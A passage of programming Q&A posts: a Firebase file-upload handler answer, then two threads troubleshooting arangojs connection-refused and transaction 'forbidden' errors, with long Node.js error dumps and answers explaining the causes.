app.post('/', fileUpload.single('file'), functions.https.onRequest((req, res) => {
const file = req.file;
const bucket = admin.storage().bucket();
const name = file.originalname;
const bucketFile = bucket.file(name);
bucketFile
.save(new Buffer(file.buffer))
.then(() => {
res.status(200).json({
status: 'success',
data: Object.assign({}, bucketFile.metadata, {
downloadURL: `https://storage.googleapis.com/${bucket.name}/${name}`,
})
});
})
.catch(err => {
res.status(500).json({
status: 'error',
errors: err,
});
});
}));
Here's my POSTMAN screen for test.
Let me know if you need further help.

ECONNREFUSED error while creating database ArangoDB with Nodejs

I am following this tutorial from ArangoDB.com.
It is about creating Arango database using node.js. I am doing it on OS X.
After executing in node code:
> Database = require('arangojs').Database;
[Function: Database]
> db = new Database('http://127.0.0.1:8529');
Database {
_connection:
Connection {
config:
{ url: 'http://127.0.0.1:8529',
databaseName: '_system',
arangoVersion: 20300,
agentOptions: [Object],
headers: [Object] },
_request: [Function: request],
promisify: [Function] },
_api:
Route {
_connection:
Connection {
config: [Object],
_request: [Function: request],
promisify: [Function] },
_path: '_api',
_headers: undefined },
name: '_system' }
> db.createDatabase('mydb', function (err) {
if (!err) console.log('Database created');
else console.error('Failed to create database:', err);
});
I am getting ECONNREFUSED error:
Failed to create database: { [Error: connect ECONNREFUSED 127.0.0.1:8529]
code: 'ECONNREFUSED',
errno: 'ECONNREFUSED',
syscall: 'connect',
address: '127.0.0.1',
port: 8529,
request:
ClientRequest {
domain:
Domain {
domain: null,
_events: [Object],
_eventsCount: 1,
_maxListeners: undefined,
members: [] },
_events: { response: [Object], error: [Function] },
_eventsCount: 2,
_maxListeners: undefined,
output: [],
outputEncodings: [],
outputCallbacks: [],
outputSize: 0,
writable: true,
_last: false,
chunkedEncoding: false,
shouldKeepAlive: true,
useChunkedEncodingByDefault: true,
sendDate: false,
_removedHeader: { 'content-length': false },
_contentLength: null,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
socket:
Socket {
_connecting: false,
_hadError: false,
_handle: null,
_parent: null,
_host: null,
_readableState: [Object],
readable: false,
domain: [Object],
_events: [Object],
_eventsCount: 10,
_maxListeners: undefined,
_writableState: [Object],
writable: false,
allowHalfOpen: false,
destroyed: true,
bytesRead: 0,
_bytesDispatched: 0,
_sockname: null,
_pendingData: [Object],
_pendingEncoding: '',
server: null,
_server: null,
parser: [Object],
_httpMessage: [Circular],
read: [Function],
_consuming: true,
_idleNext: null,
_idlePrev: null,
_idleTimeout: -1 },
connection:
Socket {
_connecting: false,
_hadError: false,
_handle: null,
_parent: null,
_host: null,
_readableState: [Object],
readable: false,
domain: [Object],
_events: [Object],
_eventsCount: 10,
_maxListeners: undefined,
_writableState: [Object],
writable: false,
allowHalfOpen: false,
destroyed: true,
bytesRead: 0,
_bytesDispatched: 0,
_sockname: null,
_pendingData: [Object],
_pendingEncoding: '',
server: null,
_server: null,
parser: [Object],
_httpMessage: [Circular],
read: [Function],
_consuming: true,
_idleNext: null,
_idlePrev: null,
_idleTimeout: -1 },
_header: 'POST /_db/_system/_api/database HTTP/1.1\r\ncontent-type: application/json\r\ncontent-length: 15\r\nx-arango-version: 20300\r\nHost: 127.0.0.1:8529\r\nConnection: keep-alive\r\n\r\n',
_headers:
{ 'content-type': 'application/json',
'content-length': 15,
'x-arango-version': 20300,
host: '127.0.0.1:8529' },
_headerNames:
{ 'content-type': 'content-type',
'content-length': 'content-length',
'x-arango-version': 'x-arango-version',
host: 'Host' },
_onPendingData: null,
agent:
Agent {
domain: [Object],
_events: [Object],
_eventsCount: 1,
_maxListeners: undefined,
defaultPort: 80,
protocol: 'http:',
options: [Object],
requests: {},
sockets: [Object],
freeSockets: {},
keepAliveMsecs: 1000,
keepAlive: true,
maxSockets: 3,
maxFreeSockets: 256 },
socketPath: undefined,
method: 'POST',
path: '/_db/_system/_api/database',
parser:
HTTPParser {
'0': [Function: parserOnHeaders],
'1': [Function: parserOnHeadersComplete],
'2': [Function: parserOnBody],
'3': [Function: parserOnMessageComplete],
'4': null,
_headers: [],
_url: '',
_consumed: false,
socket: [Object],
incoming: null,
outgoing: [Circular],
maxHeaderPairs: 2000,
onIncoming: [Function: parserOnIncomingClient] } } }
Unfortunately I can't localise error. I was searching for similar porblems but didn't find any solutions. I don't have much experience with these technologies and I am just starting ArangoDB now.
I would be grateful for any tips how to solve it and/or any other materials how to start with ArangoDB.
The error indicates that the client could not connect, presumably ArangoDB is not running at port 8529 on localhost, hasn't been started or hasn't finished starting.
The tutorial should work from the node shell but you may have to avoid line breaks (e.g. before a . when calling a method like .then). The code in the examples has been formatted for readability, the screenshots may be safer if you want something to follow along.
In general if you have multiple line of code that you need to run using node it is best to create a JavaScript file that contains all the code you want to run such as script.js. To run that code you use node script.js. This will cause node to evaluate your code line by line and (potentially) persistently keep the code running the code (things like a server would do this).
Using the node shell (aka just running node directly) will not be a good strategy to have persistently running code.
So in conclusion: place any server code in a script.js then run it with the command node script.js inside of a bash shell (where node is installed).
It very likely code not start a server and persistently consume a port while inside the shell.

ArangoDB transaction request from a node.js app returns 403: forbidden

I'm trying to replace OrientDB with ArangoDB in a node.js application and I'm having trouble getting a transaction to work. This code creates a pmsite document, a pmprojcat document, and a relationship (pm_child) between the two. The code returns a 403: forbidden. However if I run the body of the function in arangosh (non-transactional) it works fine. My other non-transactional requests in the code run without a problem.
This is the code snippet that fails:
db.transaction(tables, actions, function (err, result) {
console.log('collection:', tables);
console.log('actions:', actions);
console.log('err:', err);
if (err) data.pms.makeError(data, queue, 'Create Object: ' + err.message);
else {...}
The console results are:
collection: { write: [ 'pmsite', 'pmprojcat', 'pm_child' ] }
actions: function(){var db=require("org/arangodb").db;db._useDatabase("gdp2_server");var graph=require("org/arangodb/general-graph")._graph("gdp2_graph");var v=graph.pmsite.save({"connection":"localhost:1680","protocol":"p4+icm","name":"site1","kind":"site","model":"oldGDP","uri":"$(site:protocol)://$(site:connection)/depot/icm/proj/$(project)/$(variant)/$(vartype:dir)/$(library)/..."});var c=graph.pmprojcat.save({"kind":"projcat","name":"."});graph.pm_child.insert(v._id,c._id,{});return v;}
err: { [ArangoError: forbidden]
name: 'ArangoError',
message: 'forbidden',
errorNum: 11,
code: 403,
stack: 'ArangoError: forbidden\n at new ArangoError (/home/gary/icManager/gdp2_server/node_modules/arangojs/lib/error.js:24:15)\n at /home/gary/icManager/gdp2_server/node_modules/arangojs/lib/connection.js:126:19\n at callback (/home/gary/icManager/gdp2_server/node_modules/arangojs/lib/util/request.js:90:12)\n at IncomingMessage.<anonymous> (/home/gary/icManager/gdp2_server/node_modules/arangojs/lib/util/request.js:98:11)\n at IncomingMessage.emit (events.js:129:20)\n at _stream_readable.js:908:16\n at process._tickDomainCallback (node.js:381:11)',
response:
{ _readableState:
{ objectMode: false,
highWaterMark: 16384,
buffer: [],
length: 0,
pipes: null,
pipesCount: 0,
flowing: true,
ended: true,
endEmitted: true,
reading: false,
sync: true,
needReadable: false,
emittedReadable: false,
readableListening: false,
defaultEncoding: 'utf8',
ranOut: false,
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null,
resumeScheduled: false },
readable: false,
domain: null,
_events: { end: [Object], data: [Function] },
_maxListeners: undefined,
socket:
{ _connecting: false,
_hadError: false,
_handle: [Object],
_host: 'localhost',
_readableState: [Object],
readable: true,
domain: null,
_events: [Object],
_maxListeners: undefined,
_writableState: [Object],
writable: true,
allowHalfOpen: false,
destroyed: false,
bytesRead: 1564,
_bytesDispatched: 5409,
_pendingData: null,
_pendingEncoding: '',
parser: null,
_httpMessage: [Object],
read: [Function],
_consuming: true },
connection:
{ _connecting: false,
_hadError: false,
_handle: [Object],
_host: 'localhost',
_readableState: [Object],
readable: true,
domain: null,
_events: [Object],
_maxListeners: undefined,
_writableState: [Object],
writable: true,
allowHalfOpen: false,
destroyed: false,
bytesRead: 1564,
_bytesDispatched: 5409,
_pendingData: null,
_pendingEncoding: '',
parser: null,
_httpMessage: [Object],
read: [Function],
_consuming: true },
httpVersionMajor: 1,
httpVersionMinor: 1,
httpVersion: '1.1',
complete: true,
headers:
{ server: 'ArangoDB',
connection: 'Keep-Alive',
'content-type': 'application/json; charset=utf-8',
'content-length': '450' },
rawHeaders:
[ 'Server',
'ArangoDB',
'Connection',
'Keep-Alive',
'Content-Type',
'application/json; charset=utf-8',
'Content-Length',
'450' ],
trailers: {},
rawTrailers: [],
_pendings: [],
_pendingIndex: 0,
upgrade: false,
url: '',
method: null,
statusCode: 403,
statusMessage: 'Forbidden',
client:
{ _connecting: false,
_hadError: false,
_handle: [Object],
_host: 'localhost',
_readableState: [Object],
readable: true,
domain: null,
_events: [Object],
_maxListeners: undefined,
_writableState: [Object],
writable: true,
allowHalfOpen: false,
destroyed: false,
bytesRead: 1564,
_bytesDispatched: 5409,
_pendingData: null,
_pendingEncoding: '',
parser: null,
_httpMessage: [Object],
read: [Function],
_consuming: true },
_consuming: true,
_dumped: false,
req:
{ domain: null,
_events: [Object],
_maxListeners: undefined,
output: [],
outputEncodings: [],
outputCallbacks: [],
writable: true,
_last: false,
chunkedEncoding: false,
shouldKeepAlive: true,
useChunkedEncodingByDefault: true,
sendDate: false,
_removedHeader: [Object],
_hasBody: true,
_trailer: '',
finished: true,
_hangupClose: false,
_headerSent: true,
socket: [Object],
connection: [Object],
_header: 'POST /_db/gdp2_server/_api/transaction HTTP/1.1\r\ncontent-type: application/json\r\ncontent-length: 598\r\nx-arango-version: 20300\r\nHost: localhost:8529\r\nConnection: keep-alive\r\n\r\n',
_headers: [Object],
_headerNames: [Object],
agent: [Object],
socketPath: undefined,
method: 'POST',
path: '/_db/gdp2_server/_api/transaction',
parser: null,
res: [Circular] },
read: [Function],
body:
{ exception: '[ArangoError 11: forbidden]',
stacktrace: [Object],
message: 'forbidden',
error: true,
code: 403,
errorNum: 11,
errorMessage: 'forbidden' },
rawBody: '{"exception":"[ArangoError 11: forbidden]","stacktrace":["[ArangoError 11: forbidden]"," at Error (native)"," at eval (<anonymous>:1:57)"," at eval (<anonymous>:1:497)"," at post_api_transaction (/usr/share/arangodb/js/actions/api-transaction.js:268:16)"," at Function.actions.defineHttp.callback (/usr/share/arangodb/js/actions/api-transaction.js:288:11)"],"message":"forbidden","error":true,"code":403,"errorNum":11,"errorMessage":"forbidden"}' } }
#ggendel: your reasoning about _useDatabase() being the problem source is correct:
a transaction is not allowed to change the database in-between, and neither or several other server-side operations, e.g. Foxx actions.
In order to have the transaction run in a different database, it is required to switch to another database beforehand, on the client-side.

Resources